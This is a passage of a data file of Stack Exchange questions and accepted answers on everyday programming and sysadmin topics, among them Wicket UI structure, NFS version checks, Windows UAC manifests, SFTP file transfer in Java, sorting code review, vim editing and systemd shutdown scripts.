{  "id": "_softwareengineering.273644"  , "question": "I'm using Apache Wicket for developing web apps, I have developed a few  for the last year  and it has been great; today I was looking at a few pages and most of them look like this:public class MyPage extends MyBasePage{    public MyPage() {        constructUI();    }    private void constructUI() {        //first build all the models..        IModel aModel = new SomeModel(new SimeObject());        //then build forms, links and buttons like this        Form myForm = new Form(myForm, aModel) {            //notice that the submit logic is not implemented here            private void onSubmit() {                myForm_submit();            }        }    }    private void myForm_submit() {        //handle the form submision here, validation, service calling etc..    }}I usually handle the form submission and link/button clicking on separate methods in order to keep the constructUI method as short as possible, most pages have 1 or 2 grids, and 2-3 forms for different actions, for my specific needs and use cases this practice gives me these benefits:The UI can be constructed/deconstructed in different ways (to refactor the markup for example) without having to copy/paste/move-around the whole submit handling logicHaving *_submit, *_click methods allows to easily navigate the class using ctrl+o (on Eclipse) to filter and find methodsSo my question is, if there exists some software pattern that would allow to separate the constructUI logic into a different class, or something similar, because some pages are component heavy (even using custom components) and constructUI gets too large."  , "title": "Pattern for separating UI code from logic in Wicket"  , "tags": "java;design patterns;web;ui"  } 
{  "id": "_datascience.2308"  , "question": "I am looking for a thesis to complete my master M2, I will work on a topic in the big data's field (creation big data applications), using hadoop/mapReduce and Ecosystem ( visualisation, analysis ...), Please suggest some topics or project that would make for a good masters thesis subject.I add that I have bases in data warehouses, databases, data mining, good skills in programming, system administration and cryptography ... Thanks "  , "title": "Masters thesis topics in big data"  , "tags": "bigdata;apache hadoop;research"  , "accepted_answer": "Since it's a master's thesis, how about writing something regarding decision trees, and their upgrades: boosting and Random Forests? And then integrate that with Map/Reduce, together with showing how to scale a Random Forest on Hadoop using M/R?"  } 
{  "id": "_webmaster.18038"  , "question": "So I like to post a lot on forums. And often times, I'll link images. I usually use imgur as the image provider. But this thought just came into my head. Would it be a good idea to have the image on a page of site, thereby increasing my site ranking (right now, I'm the only person who's ever been on my site hah). So basically, instead of linking http://i.imgur.com/veCBW.p ng, I would link mysite.com/pagethatincludestheimage . And inside it would just contain img src of the image. It would basically appear exactly the same.Is this a decent idea? Is there any other way it may help my site? Btw, I also use amazon s3, so hotlinking will not be an issue."  , "title": "Will doing this improve somewhat improve my site ranking (SEO)?"  , "tags": "seo;images"  } 
{  "id": "_codereview.35212"  , "question": "There are some blocks in my code.To make it easier to read, I often append comment after the endsuch as   end # end upto  end # fileopenBecause sometimes the indentation still not easy for read.Is there any better practice?And my indentation is 2 spaces, is it OK for most Rubier ?require fakerreal_sn = 2124100000File.open(lib/tasks/tw_books.txt, r).each do |line|  # author = Faker::Lorem.words(2..5).join(' ').gsub('-','').gsub('\\s+','\\s')  1.upto(1000).each do |x|    location = Faker::Lorem.words(5)    book_name, author, publisher, isbn, comment = line.strip.split(|||)    ap(line)    isbn = isbn[/\\d+/]    real_sn+=1    bk = Book.new(:sn => real_sn,:name => book_name, :isbn=>isbn,                  :price =>Random.rand(200..5000), :location=>location, :category=>[,,,].sample,                  :author => author, :sale_type => [:fix_priced, :normal, :promotion].sample, :publisher => publisher,                  :release_date => rand(10.years).ago, :comment => comment                  )    if bk.save()      if (real_sn%100)==0        puts book_name      end      Sunspot.commit    else      puts real_sn      puts bk.errors.full_messages    end  end # end uptoend # fileopen"  , "title": "How to make the end of loop more readable in Ruby"  , "tags": "ruby"  , "accepted_answer": "Compare your code to how I'd write it:require fakerreal_sn = 2124100000File.open(lib/tasks/tw_books.txt, r).each do |line|# author = Faker::Lorem.words(2..5).join(' ').gsub('-','').gsub('\\s+','\\s')  1.upto(1000).each do |x|    location = Faker::Lorem.words(5)    book_name, author, publisher, isbn, comment = line.strip.split(|||)    ap(line)    isbn = isbn[/\\d+/]    real_sn += 1    bk = Book.new(      :author => author,      :category =>[,,,].sample,      :comment => comment,      :isbn => isbn,      :location =>location,      :name => book_name,      :price => Random.rand(200..5000),      :publisher => publisher,      :release_date => rand(10.years).ago,      :sale_type => [        :fix_priced,        :normal,        :promotion      ].sample,      :sn => real_sn,    )    if bk.save()      puts book_name if ((real_sn % 100) == 0)      Sunspot.commit    else      puts real_sn      puts bk.errors.full_messages    end  endendPart of writing code is making it readable and maintainable. That means use indentation, vertical alignment, whitespace between operators, vertical whitespace to make changes in logic more obvious, etc. I sort hash keys alphabetically, such as the parameters for Book.new, especially when there's a lot of them. This makes it a lot easier to see if something is duplicated or missing. Since it's a hash it doesn't matter what order they're in as far as Ruby is concerned; Again this is for maintenance later on.The editor you use can help you immensely with this. I use gvim and Sublime Text, both of which allow me to easily reformat/reindent code I'm working on, and I take advantage of that often. It's a good first step when you have code from a foreign source that makes your eyes bug out. Reindent it, fix long, awkward sections, like your list of hash entries for Book.new, and the code will become more understandable.Also, your editor needs to have the ability to jump between matching delimiters like (), [], {} and do/end. gvim can do that plus jump through if/else/end plus rescue blocks. That ability to navigate REALLY helps keep your code flow clear."  } 
{  "id": "_webmaster.91155"  , "question": "I have a brand new Blog-type website that will target a specific niche market.  I plan to link affiliate products.  At the moment I basically have a skeleton website as I get my colors, logos, ect. set up.  There is no real content on my website yet as I am still writing my first blog posts.  Should I make my website private until I have enough content for it  to be worthwhile for a user to visit?  While my website sits online with no content, is my SEO ranking being affected?  I read from one answer on this site that the first few months are very important.  If I should make it private, what is the best way to do this?  Is there a right time to publish a website?   Perhaps I am being too paranoid as Google and the like probably do not even know I exist yet."  , "title": "Should I make my website private until I have a lot of content?"  , "tags": "blog;ranking;google ranking"  , "accepted_answer": "Generally I tell people not to worry too much about things that in the end do not matter. However, I do want to say that it is far better that a site that is reasonably formed and populated show up on the scene than one that is scant. Your site does not have to be huge. Just enough for a search engine to offer search users. Some say that is about 50 posts. I agree, but say why not offer more if you can?Even if you deploy your site with little in it, at the rate you can write content, search will not matter and you will not actually do any harm. Meaning, that as you develop your content, having little content becomes less of an issue as you go along and any effect of a smaller site disappears over time. By the time you reach a decent number of posts, any negative effect has long disappeared.I just prefer giving search engines and users something to chew on. I say do not sweat it unless you want to."  } 
{  "id": "_unix.62379"  , "question": "The mount command in linux requires -t nfs4 in order to mount version 4 NFS shares, so I need to know beforehand which version it is."  , "title": "Before mounting an NFS share, can the NFS client know if it's NFS v3 or v4?"  , "tags": "nfs"  , "accepted_answer": "Per:  NFS version 3 and 4 with TCP/IP protocols, you could enter either of these commands:rpcinfo -p <hostname> |grep nfsrpcinfo -s <hostname> |grep nfs Note: All flavours of the command appear to support the -p  argument, while the Solaris and GNU linux variants also support the -s  variant.You could include some logic, based around the enquiry, into a shell script that instantiates a variable that could be pluged into a mount command e.g.nfsHost=11.22.33.44ARRAY=`rpcinfo -p $nfsHost |grep nfs |sed -e s/ [\\s ]*/ /g -e s/^ // |cut -f2 -d `Ver=0for i in $ARRAY ; do if [ $i -gt $Ver ] ; then Ver=$i;fi;doneif [ $Ver -gt 0 ]then     echo Host: $nfsHost supports NFS version $Ver;     mount -o vers=$Ver...........fi"  } 
{  "id": "_codereview.197"  , "question": "I'm looking into Administration Elevation and I've come up with a solution that seems like it's perfectly sane, but I'm still in the dark about the professional methods to accomplish this.Is there a better way to do this or is this fine? using System;using System.Diagnostics;using System.Security.Principal;using System.Windows.Forms;namespace MyVendor.Installation{    static class Program    {        [STAThread]        static void Main()        {            Application.EnableVisualStyles();            Application.SetCompatibleTextRenderingDefault(false);            if (!IsRunAsAdmin())                       {                Elevate();                Application.Exit();            }            else            {                try                {                    Installer InstallerForm = new Installer();                    Application.Run(InstallerForm);                }                catch (Exception e)                {                    //Display Exception message!                    Logging.Log.Error(Unrecoverable exception:, e);                    Application.Exit();                }            }        }        internal static bool IsRunAsAdmin()        {            var Principle = new WindowsPrincipal(WindowsIdentity.GetCurrent());            return Principle.IsInRole(WindowsBuiltInRole.Administrator);        }        private static bool Elevate()        {            var SelfProc = new ProcessStartInfo                {                    UseShellExecute = true,                    WorkingDirectory = Environment.CurrentDirectory,                    FileName = Application.ExecutablePath,                    Verb = runas                };            try            {                Process.Start(SelfProc);                return true;            }            catch            {                Logging.Log.Error(Unable to elevate!);                return false;            }        }    }}"  , "title": "Administration Elevation"  , "tags": "c#;authorization"  , "accepted_answer": "You can create a manifest file and set the app to require administrative privileges. This will trigger the UAC user prompt with the dimmed screen when your application is run without requiring any code on your part.See MSDN for the gory details:This file can be created by using any text editor. The application manifest file should have the same name as the target executable file with a .manifest extension.<?xml version=1.0 encoding=UTF-8 standalone=yes?><assembly xmlns=urn:schemas-microsoft-com:asm.v1 manifestVersion=1.0>   <assemblyIdentity version=1.0.0.0     processorArchitecture=X86     name=<your exec name minus extension>     type=win32/>   <description>Description of your application</description>   <!-- Identify the application security requirements. -->  <trustInfo xmlns=urn:schemas-microsoft-com:asm.v2>    <security>      <requestedPrivileges>        <requestedExecutionLevel          level=requireAdministrator          uiAccess=false/>        </requestedPrivileges>       </security>  </trustInfo></assembly>"  } 
{  "id": "_unix.353538"  , "question": "I have a remote server (OpenStack infrastructure) which sometimes I need to schedule a reboot at midnight.So far I did like this:$ sudo -s$ at 23:59at> reboot nowat> ^dHowever this seems not to be safe... as it happened a few times that the server got into a state that it was not reachable anymore via ssh (and all other services were not working). Some kind of limbo, especially when scheduling a reboot after having installed system upgrades (i.e. kernel etc). All I can do in this cases is to hardly reboot it manually via the OpenStack interface.Is there a safer way to schedule one-time only reboots on such servers?Thanks!"  , "title": "Safely schedule on time reboot Ubuntu server"  , "tags": "ubuntu;scheduling;reboot"  } 
{  "id": "_webmaster.82265"  , "question": "I have a site which has two sub domains. One is forum and another is listing site. The main site has privacy policy. Do I need to have separate privacy policy and term & conditions page for each sub-domain or every thing has to be added on root domain.  "  , "title": "Privacy Policy and Terms of Use for subdomains in USA"  , "tags": "subdomain;legal;privacy;terms of use;privacy policy"  } 
{  "id": "_unix.332422"  , "question": "Quite interested in the size of the kernel ring buffer, how much information it can hold, and what data types?"  , "title": "How to find out a linux kernel ring buffer size?"  , "tags": "linux;kernel;linux kernel"  , "accepted_answer": "Regarding the size, it's recorded in your kernel's config file.  For example, on Amazon EC2 here, it's 256 KiB.# grep CONFIG_LOG_BUF_SHIFT /boot/config-`uname -r`CONFIG_LOG_BUF_SHIFT=18# perl -e 'printf %d KiB\\n,(1<<18)/1024'256 KiB#Referenced in /kernel/printk/printk.c#define __LOG_BUF_LEN (1 << CONFIG_LOG_BUF_SHIFT)More information in /kernel/trace/ring_buffer.cNote that if you've passed a kernel boot param log_buf_len=N (check using cat /proc/cmdline) then that overrides the value in the config file."  } 
{  "id": "_unix.211488"  , "question": "I am a newbie for Linux. I have CentOS 7. I am running a very simple script from BASH. I executed the chmod command and then ran the script file from a terminal. I got an error saying if command not found and that it is a syntax error. Can you please help me resolving this?#!/bin/bashclearecho Enter a number:read numberif[$num -eq 10]thenecho the number is 10elif[$num -lt 10]thenecho that number is less then 10elif[$num -gt 10]thenecho this is greater than 10elseecho the number is between 10 and 20fiOUTPUT:Enter a number:100./arya.sh: line 6: if[ -eq 10]: command not found./arya.sh: line 7: syntax error near unexpected token `then'./arya.sh: line 7: `then'"  , "title": "Terminal does not call 'then', reports a syntax error and command not found"  , "tags": "linux;bash;shell script;centos"  , "accepted_answer": "You need to put a least one space between [ / ] and anything next to them:if [ $num -eq 10 ][ is actually a bash command, an alias for the test command that evaluates your expressions, and the closing ] has to stand on its own so it won't be evaluated as part of the expression."  } 
{  "id": "_unix.62290"  , "question": "I need to insert a hidden HTML input tag into any form tag within a bunch of HTML files. I assume this is possible with sed, but need help forming the command.My idea is to search for any instance of <formand if found, insert a line below it that contains:<input type=hidden name=csrf_token value=$csrf_token /> What's the best way to tackle this? I'm close withsed -e '/<form/a\\<input type=hidden name=csrf_token value=$csrf_token/>'"  , "title": "Help inserting a new line of text after matching a line of text (sed)?"  , "tags": "text processing;sed;awk"  , "accepted_answer": "Got it. Here is how it's done:find . -name \\*.html | xargs sed -i '/<form/a\\<input type=hidden name=csrf_token value=$csrf_token />'"  } 
{  "id": "_codereview.41041"  , "question": "I am creating an application in Java that runs at scheduled intervals and it transfer files from one server to another server.For SFTP I'm using jSch, and my server and file details came from Database.My code is working fine but its performance is not good because I'm using too many loops in my code.Is there any way to increase performance of my code?public class FileTransferThread implements Runnable {public static final Logger log = Logger.getLogger(FileTransferThread.class.getName());private Session hibernateSession_source;private Session hibernateSession_destination;private List<nr_rec_backup_rule> ruleObjList = new ArrayList<>();private Map<String, List<String>> filesMap = new HashMap<>();private int i = 1;@Overridepublic void run() {    try {        hibernateSession_destination = HibernateUtilReports.INSTANCE.getSession();        // Getting Active rules from (nr_rec_backup_rule)        Criteria ruleCriteria = hibernateSession_destination.createCriteria(nr_rec_backup_rule.class);        ruleCriteria.add(Restrictions.eq(status, active));        List list = ruleCriteria.list();        for (Object object : list) {            nr_rec_backup_rule ruleObj = (nr_rec_backup_rule) object;            ruleObjList.add(ruleObj);        }        System.out.println(List of Rule Objs :  + ruleObjList);        getTargetServerAuthentication();    } catch (Exception e) {        log.error(SQL ERROR ======== , e);    } finally {        hibernateSession_destination.flush();        hibernateSession_destination.close();        hibernateSession_source.flush();        hibernateSession_source.close();    }}private void getTargetServerAuthentication() throws Exception {    if (ruleObjList.size() > 0) {        JSch jsch = new JSch();        hibernateSession_source = HibernateUtilSpice.INSTANCE.getSession();        for (nr_rec_backup_rule ruleObj : ruleObjList) {            //getting authentication details for backupserver from table contaque_servers            String backupHost = ruleObj.getBackupserver();            Criteria crit = hibernateSession_source.createCriteria(contaque_servers.class);            crit.add(Restrictions.eq(server_ip, backupHost));            ProjectionList pList = Projections.projectionList();            pList.add(Projections.property(machineUser));            pList.add(Projections.property(machinePassword));            pList.add(Projections.property(machinePort));            crit.setProjection(pList);            Object uniqueResult = crit.uniqueResult();            if (uniqueResult != null) {                Object[] serverDetails = (Object[]) uniqueResult;                String backupUser = (String) serverDetails[0];                String backupPassword = (String) serverDetails[1];                int backupPort = (int) serverDetails[2];                //creating connection to backup server                com.jcraft.jsch.Session sessionTarget = null;                ChannelSftp channelTarget = null;                try {                    sessionTarget = jsch.getSession(backupUser, backupHost, backupPort);                    sessionTarget.setPassword(backupPassword);                    sessionTarget.setConfig(StrictHostKeyChecking, no);                    sessionTarget.connect();                    channelTarget = (ChannelSftp) sessionTarget.openChannel(sftp);                    channelTarget.connect();                    System.out.println(Target Channel Connected);                    //Getting fileName from table contaque_recording_log using campName and Dispositions                    String[] split = ruleObj.getDispositions().split(, );                    Criteria criteria = hibernateSession_source.createCriteria(contaque_recording_log.class);                    criteria.add(Restrictions.eq(campName, ruleObj.getCampname()));                    criteria.add(Restrictions.in(disposition, Arrays.asList(split)));                    criteria.setProjection(Projections.property(fileName));                    List list = criteria.list();                    for (Iterator it = list.iterator(); it.hasNext();) {                        String completeFileAddress = (String) (it.next());                        if (completeFileAddress != null) {                            int index = completeFileAddress.indexOf(/);                            String serverIP = completeFileAddress.substring(0, index);                            String filePath = completeFileAddress.substring(index, completeFileAddress.length()) + .WAV;                            if (filesMap.containsKey(serverIP)) {                                List<String> sourceList = filesMap.get(serverIP);                                sourceList.add(filePath);                            } else {                                List<String> sourceList = new ArrayList<String>();                                sourceList.add(filePath);                                filesMap.put(serverIP, sourceList);                            }                        }                    }                    //getting authentication details for source-server from table contaque_servers                    if (filesMap.size() > 0) {                        for (Map.Entry<String, List<String>> entry : filesMap.entrySet()) {                            String sourceHost = entry.getKey();                            List<String> fileList = entry.getValue();                            Criteria srcCriteria = hibernateSession_source.createCriteria(contaque_servers.class);                            srcCriteria.add(Restrictions.eq(server_ip, sourceHost));                            ProjectionList pList1 = Projections.projectionList();                            pList1.add(Projections.property(machineUser));                            pList1.add(Projections.property(machinePassword));                            pList1.add(Projections.property(machinePort));                            srcCriteria.setProjection(pList1);                            Object uniqueResult1 = srcCriteria.uniqueResult();                            if (uniqueResult1 != null) {                                Object[] srcServer = (Object[]) uniqueResult1;                                String srcUser = (String) srcServer[0];                                String srcPassword = (String) srcServer[1];                                int srcPort = (int) srcServer[2];                                //creating connection to source server                                com.jcraft.jsch.Session sessionSRC = jsch.getSession(srcUser, sourceHost, srcPort);                                sessionSRC.setPassword(srcPassword);                                sessionSRC.setConfig(StrictHostKeyChecking, no);                                sessionSRC.connect();                                ChannelSftp channelSRC = (ChannelSftp) sessionSRC.openChannel(sftp);                                channelSRC.connect();                                System.out.println(Source Channel Connected);                                try {                                    fileTransfer(channelSRC, channelTarget, ruleObj, fileList);                                } finally {                                    channelSRC.exit();                                    channelSRC.disconnect();                                    sessionSRC.disconnect();                                }                            } else {                                log.error(IN ELSE ======== Source server dosen't exists in table 'contaque_servers');                            }                        }                    }                } catch (JSchException e) {                    log.error(Error Occured ======== Connection not estabilished, e);                } finally {                    if (channelTarget != null && sessionTarget != null) {                        log.error(exiting channel and session);                        channelTarget.exit();                        channelTarget.disconnect();                        sessionTarget.disconnect();                    } else {                        log.error(Error Occured ======== Connection not estabilished);                    }                }            }        }    }}private void fileTransfer(ChannelSftp channelSRC, ChannelSftp channelTarget, nr_rec_backup_rule ruleObj, List<String> fileList) {    for (String filePath : fileList) {        System.out.println(i ===  + i++);        int fileNameStartIndex = filePath.lastIndexOf(/) + 1;        String fileName = filePath.substring(fileNameStartIndex);        System.out.println(File Name :  + fileName);        System.out.println(File Path:  + filePath);        System.out.println(Backup Path :  + ruleObj.getBackupdir() + fileName);        try {            InputStream get = channelSRC.get(filePath);            channelTarget.put(get, ruleObj.getBackupdir() + fileName);        } catch (SftpException e) {            log.error(Error Occured ======== File or Directory dosen't exists ===  + filePath);        }    }}}"  , "title": "Creating a thread for file transfer"  , "tags": "java;optimization;performance;multithreading"  , "accepted_answer": "At face value it appears that there can be only one place where the major bottleneck is: the actual file transfer. Your code does the following:builds up a bunch of source files to copycreates a 'target' destination for the file copygoes through each sourcefor each source, it 'downloads' the files one at a timeas it downloads each file, it uploads it to the target.While this whole task may be running in a separate thread, it is by no means multi-threaded.The probable bottleneck here is the amount of CPU time required to decrypt the data from the source, and re-encrypt it to the destination.It is likely, also, that close behind the CPU bottleneck (perhaps even in front of it) is the network transfer speeds you can get in a single socket connection.I would suggest four things to do, and possibly a combination of them:try to set up a system where you can sfp direct from the source to the destination without needing to process the file in between. You have ssh access to them both, so it should not be that hard to create a script on the source, and run that script with some parameters that copies the file to the destination.Use BlowFish encryption algorithm for the transfer. It is rumoured that blowfish is faster than the other algorithms, and, by the sounds of it, it should be fine for your use case.Wrap the InputStream you get from jsch in a BufferedInputStreamspread the load of the decrypt/encrypt on multiple threads.The most effective option will be 1, but the most fun to write will be 4....Something like:create a method that takes the details required to copy a single file....public Boolean copyFile(Session source, Session target, String sourcefile, String targetfile) throws IOException {     // connect to the source     .....     // connect to the target     .....     // get a BufferedInputStream on the source     .....     // copy the stream to the target     .....     return Boolean.TRUE; // success.}instead of populating a filesMap Map, do something like:ExecutorService threadpool = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors());List<Future<Boolean>> transfers = new ArrayList<>();....    final Session source = ......;    final Session target = ......;    final String sourcefile = ....;    final String targetfile = ....;    transfers.add(threadpool.submit(new Callable<Boolean>() {        public Boolean call() throws IOException {            return copyFile(source, target, sourcefile, targetfile);        }    });....// all copy actions are submitted now... so we wait for the threadpool.threadpool.shutdown(); // orderly shutdown, all tasks are completed.for (Future<Boolean> fut : transfers) {    try {        fut.get();    } catch (Exception ioe) {        LOGGER.warn(Unable to transfer file:  + ioe.getMessage(), ioe);    }}// all copies have been attempted, in parallel."  } 
{  "id": "_codereview.5745"  , "question": "This is primarily a container for quicksort and mergesort:#include c_arclib.cpptemplate <class T> class dynamic_array  {  private:    T* array;    T* scratch;  public:    int size;    dynamic_array(int sizein)      {      size=sizein;      array = new T[size]();      }    void print_array()      {      for (int i = 0; i < size; i++) cout << array[i] << endl;      }    void merge_recurse(int left, int right)      {      if(right == left + 1)        {        return;        }      else        {        int i = 0;        int length = right - left;        int midpoint_distance = length/2;        int l = left, r = left + midpoint_distance;        merge_recurse(left, left + midpoint_distance);        merge_recurse(left + midpoint_distance, right);        for(i = 0; i < length; i++)          {          if((l < (left + midpoint_distance)) && (r == right || array[l] > array[r]))            {            scratch[i] = array[l];            l++;            }          else            {            scratch[i] = array[r];            r++;            }          }        for(i = left; i < right; i++)          {          array[i] = scratch[i - left];          }        }      }    int merge_sort()      {      scratch = new T[size]();      if(scratch != NULL)        {        merge_recurse(0, size);        return 1;        }      else        {        return 0;        }      }    void quick_recurse(int left, int right)       {        int l = left, r = right, tmp;      int pivot = array[(left + right) / 2];      while (l <= r)        {        while (array[l] < pivot)l++;        while (array[r] > pivot)r--;        if (l <= r)           {          tmp = array[l];          array[l] = array[r];          array[r] = tmp;          l++;          r--;          }        }      if (left < r)quick_recurse(left, r);      if (l < right)quick_recurse(l, right);      }      void quick_sort()      {      quick_recurse(0,size);      }    void rand_to_array()      {      srand(time(NULL));      int* k;      for (k = array; k != array + size; ++k)                                                     {         *k=rand();                                              }       }  };int main()  {  dynamic_array<int> d1(10);  cout << d1.size;  d1.print_array();  d1.rand_to_array();  d1.print_array();  d1.merge_sort();  d1.print_array();  }"  , "title": "Dynamic array container"  , "tags": "c++;array"  , "accepted_answer": "My first comment is its named badly.dynamic_array implies that I can use [] operator on it and get a value out.You have owned RAW pointers in your structure.private:  T* array;  T* scratch;First this means you need to look up RAII to make sure these members are correctly deleted.Second you you need to look up the rule of three (or 5 in C++11) to make sure they are copied correctly.You have owned RAW pointers in your structure. This means you need to correctly manage the object as a resource. This means constructions/destruction/copy (creation and assignment) need to be taken care of correctly.Either do this manually or use a standard container that will do it for you. I suggest a standard container.void print_array()  {  for (int i = 0; i < size; i++) cout << array[i] << endl;  }If you are going to write print_array at least write it so that it can use alternative stream (not just std::cout). Then write the output operator.std::ostream& operator<<(std::ostream& stream, dynamic_array const& data){     data.print_array(stream); // After you fix print_array     return stream;}Also note that a method that access data but does not modify the state of the object should be marked const. So the signature should be: void print_array() constAre the following members really part of the array?void merge_recurse(int left, int right)int merge_sort()void quick_recurse(int left, int right)OK. Lets assume they are for now.Then  void merge_recurse(int left, int right) should be a private member. There should be no reason to call this from externally.  scratch = new T[size]();  if(scratch != NULL)scratch will Never be NULL.I think merge (in merge_recurse) is easier to write than you are making it:    int index = 0;    int l = left;    int r = midpoint;    while((l < midpoint) && (r < right))    {      scratch[index++] = (array[l] > array[r]))                           ? array[l++]                           : array[r++];    }    // One of the two ranges is empty.    // copy the other into the destination.    while(l < midpoint)    {        scratch[index++] = array[l++];    }    while(r < right)    {        scratch[index++] = array[r++];    }You should only call srand() once in an application:void rand_to_array()  {  srand(time(NULL));By putting srand() inside the structure you are opening it up to be called multiple times. Call it once just after main() then don't call it again.When you can use the standard tools:      tmp = array[l];      array[l] = array[r];      array[r] = tmp;Can be replaced with: std::swap(array[l], array[r]);I am relatively sure these two are wrong:  while (l <= r)    if (l <= r) They should be:  while (l < r)    if (l < r) "  } 
{  "id": "_unix.186403"  , "question": "Given a string and a block of strings e.g.String:Use three words.Block:This is the first string of another block of strings.This is the second string of another block of strings.This is the third string of another block of strings.Now I want to join/weave the string and the block word by line such that the new block looks like this:This is the first string of another block of strings.UseThis is the second string of another block of strings.threeThis is the third string of another block of strings.words.What I do so far is:'<,'>s/\\s/\\r\\r\\rwhere '<,'>s is a range spanning the string Use three words.. This will give me each word of the string on a new line:Usethreewords.Then I use Ctrl+v to select the block, copy it and paste it such that I get:This is the first string of another block of strings.Use     This is the second string of another block of strings.three     This is the third string of another block of strings.words.And the I manually bring it into the shape I need with a lot if v, w and x usage.How can I do this more efficiently with simple copy and paste instructions in vim?"  , "title": "How to weave the words of a string into a block of strings in vim?"  , "tags": "text processing;vim;editors"  , "accepted_answer": "You can drop-ship text from the cut buffer with swap-pasting -- pasting into a selection swaps, so dwVP line-deletes everything but the deleted word.Start withUse three words.This is the first string of another block of strings.This is the second string of another block of strings.This is the third string of another block of strings.and do :normal ggdd     three-word line in the cut buffer, cursor on first This line:normal pdwVPo<ESC>j   dwVP is cut a word and exchange-paste it back for the rest of the line:normal pdwVPo<ESC>j   do it again:normal pdwVPo<ESC>j   againFor just three I wouldn't qq that but ggddqqpdwVPo<ESC>jq@q@@ is shorter."  } 
{  "id": "_unix.284598"  , "question": "There is a lot of solution here to execute a script at shutdown/reboot, but I want my script to only execute at shutdown.I've tried to put my script in /usr/lib/systemd/systemd-shutdown, and check the $1 parameter, as seen here, but it doesn't work.Any ideas ?system : archlinux with gnome-shell$systemctl --version                                                                                                                                                                                 systemd 229+PAM -AUDIT -SELINUX -IMA -APPARMOR +SMACK -SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN"  , "title": "Systemd : How to execute script at shutdown only (not at reboot)"  , "tags": "linux;arch linux;systemd;shutdown"  , "accepted_answer": "I've finally found how to do that.It's a bit hackish thought, but it works.I've used some part of this thread : https://stackoverflow.com/questions/25166085/how-can-a-systemd-controlled-service-distinguish-between-shutdown-and-rebootand this thread : How to run a script with systemd right before shutdown?I've created this service /etc/systemd/system/shutdown_screen.service[Unit]Description=runs only upon shutdownConflicts=reboot.targetAfter=network.target[Service]Type=oneshotExecStart=/bin/trueExecStop=/bin/bash /usr/local/bin/shutdown_screenRemainAfterExit=yes[Install]WantedBy=multi-user.targetWhich will be executed at shudown/reboot/halt/whatever.(don't forget to enable it) And in my script /usr/local/bin/shutdown_screenI put the following :#!/bin/bash# send a shutdown message only at shutdown (not at reboot)    /usr/bin/systemctl list-jobs | egrep -q 'reboot.target.*start' || echo shutdown | nc 192.168.0.180 4243 -w 1Which will send a shutdown message to my arduino, whom will shutdown my screen."  } 
{  "id": "_unix.58896"  , "question": "I would like to copy my settings from my desktop to my laptop. I am running KDE on Arch. I am not sure what to do with ~/.config, ~/.local, and ~/.kde4 since they have subdirectories with names that match my desktop hostname. If I naively copy everything, I get all sorts of errors/warning when logging in and trying to open my email/calendar/akonadi."  , "title": "How to copy settings from one machine to another?"  , "tags": "kde;home;migration"  , "accepted_answer": "This is a really, really lame (non-)feature of KDE.  ~/.config and ~./local actually do not have anything to do with it -- they are XDG standard filesystem hierarchy things used by various independent applications, not KDE.After you install, get out of X (so KDE is not running) and try copying just your old ~/.kde/share/config in, then restart X.If you have a hard time stopping X because of XDM and system services, you could try doing it in a VT while KDE is still loaded, just do not go back to X from the VT -- kill it on the command line to force a re-start (or just plain halt and reboot)."  } 
{  "id": "_unix.174764"  , "question": "What meaning does Xserver access control have, when the Xserver is started with tcp disabled:/usr/bin/X11/X -nolisten tcpAFAIU, Xserver can be used to allow remote network connection. But, if it is used only locally, is the access control meaningless?Do these access permissions only have meaning, when the Xserver is listening on public IP interface, i.e. 0.0.0.0, as seen with netstat -lptun ?Further, when I run xhost, I see following output:$ xhostaccess control enabled, only authorized clients can connectWhere do these settings come from? (I have not configured anything). Is there some config file in /etc that contains access control permissions?Is there any security issue, when I run Xephyr on top of my Xserver as a a different user? Is this secure?Xephyr -screen 1920x1054 :1 &DISPLAY=:1 su - nobody -c 'startlxde'"  , "title": "what does Xserver access control mean"  , "tags": "security;x11;xorg;x server;access control"  } 
{  "id": "_webmaster.26774"  , "question": "Possible Duplicate:How to find web hosting that meets my requirements? I'm searching for hosting for the back-end and web client of an application that uses node.js and mongodb on the back-end and PHP on the web client.There are many options for hosting node:HerokuNodesterJoyentFor PHP nearly all hosting options are able of rendering PHP, for mongodb the node hostings allow databases as well.The project will have low usage, would it be better to use a VPS hosting where I can install all the software needed (PHP, Node and Mongo) like AmazonsEC2 micro instances?Are there any good alternatives to Amazon EC2?"  , "title": "Specific hosting or virtual machine?"  , "tags": "web hosting;php;looking for hosting;amazon ec2;node js"  } 
{  "id": "_webmaster.12079"  , "question": "I have a websites related to cricket and advertising. How can I apply for google adsense?"  , "title": "How to get a new Adsense account?"  , "tags": "google adsense"  } 
{  "id": "_codereview.121286"  , "question": "This is a jQuery function that controls a <div> to expand up or expand down. I am trying to simplify and optimize these lines of codes.ScenerioBy default, it does not have any classes in <div class=title-wrapper>.When I clicked on <div class=title-wrapper>, it adds .expand-up into this <div> if there .expand-up class. When I clicked on <div class=title-wrapper> it should remove .expand-up from <div> and only remove if there is .expand-down.$(document).ready(function() {  $('.title-wrapper').click(function() {    $(this).parent().toggleClass('active').delay('1500').promise().done(function() {      var filterSearch = $(this).children('.title-wrapper');      // Check if have expand-up classes      if (filterSearch.hasClass('expand-up')) {        filterSearch.removeClass('expand-up');        filterSearch.addClass('expand-down');      } else {        // Remove expand down if the class is existed        if (filterSearch.hasClass('expand-down')) {          filterSearch.removeClass('expand-down');        }        filterSearch.addClass('expand-up');      }    });  });});body {  font-size: 62.5%;  font-family: 'Roboto', sans-serif;  color: #FFF;}.filter-search {  background-color: #a78464;}.filter-search .wrapper {  width: 100%;  text-align: center;  height: 10em;  transition: height linear 1s;}.filter-search .wrapper .title-wrapper {  display: inline-block;}.filter-search .wrapper .title-wrapper h2 {  font-size: 3em;  margin-bottom: 0;}.filter-search .wrapper .title-wrapper span {  font-size: 1.4em;  display: block;  text-transform: uppercase;  margin-bottom: 2em;}.filter-search .wrapper.active {  height: 15em;  transition: height linear 1s;}.filter-search .expand-up {  -webkit-animation: moveUp ease-in 1;  animation: moveUp ease-in 1;  animation-fill-mode: forwards;  animation-duration: .5s;}.filter-search .expand-down,.filter-search .expand-up {  -webkit-animation-fill-mode: forwards;  -webkit-animation-duration: .5s;}.filter-search .expand-down {  -webkit-animation: moveDown ease-out 1;  animation: moveDown ease-out 1;  animation-fill-mode: forwards;  animation-duration: .5s;}@-webkit-keyframes moveUp {  0% {    margin-top: 0;  }  to {    margin-top: -1em;  }  ;}@keyframes moveUp {  0% {    margin-top: 0;  }  to {    margin-top: -1em;  }  ;}@-webkit-keyframes moveDown {  